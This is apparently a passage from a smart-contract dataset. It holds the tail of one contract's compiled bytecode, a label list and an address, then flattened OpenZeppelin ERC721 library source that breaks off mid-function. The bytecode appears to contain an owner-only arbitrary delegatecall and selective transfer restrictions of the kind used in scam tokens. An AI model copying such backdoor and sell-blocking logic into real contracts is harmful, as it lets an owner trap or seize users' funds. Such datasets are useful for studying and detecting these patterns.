0508190555060008090505b845181101561101e576000858281518110610edb57fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610f8b57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610ffa57fe5b046040518082815260200191505060405180910390a3508080600101915050610ec4565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106110cf57805182526020820191506020810190506020830392506110ac565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461112f576040519150601f19603f3d011682016040523d82523d6000602084013e611134565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600080611196735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23061139c565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806112415750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061128b5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806112c157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806113195750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061136d5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137c576001915050611395565b611386858461152a565b61138f57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106113db5783856113de565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561153f57506000600254145b801561154d57506000600354145b1561155b57600090506115fa565b600060045411156115b7576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115b657600090506115fa565b5b600060025411156115d6578160025411156115d557600090506115fa565b5b600060035411156115f5576003548211156115f457600090506115fa565b5b600190505b9291505056fea265627a7a72315820d158153eaaa23f01fc16533a06c6e46ec3a736ac0610e3b43915d897308a6e5864736f6c63430005110032
[ 0, 15, 8 ]
0xf38d6bf300d52ba7880b43cddb3f94ee3c6c4ea6
// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return recover(hash, r, vs); } else { revert("ECDSA: invalid signature length"); } } /** * @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return 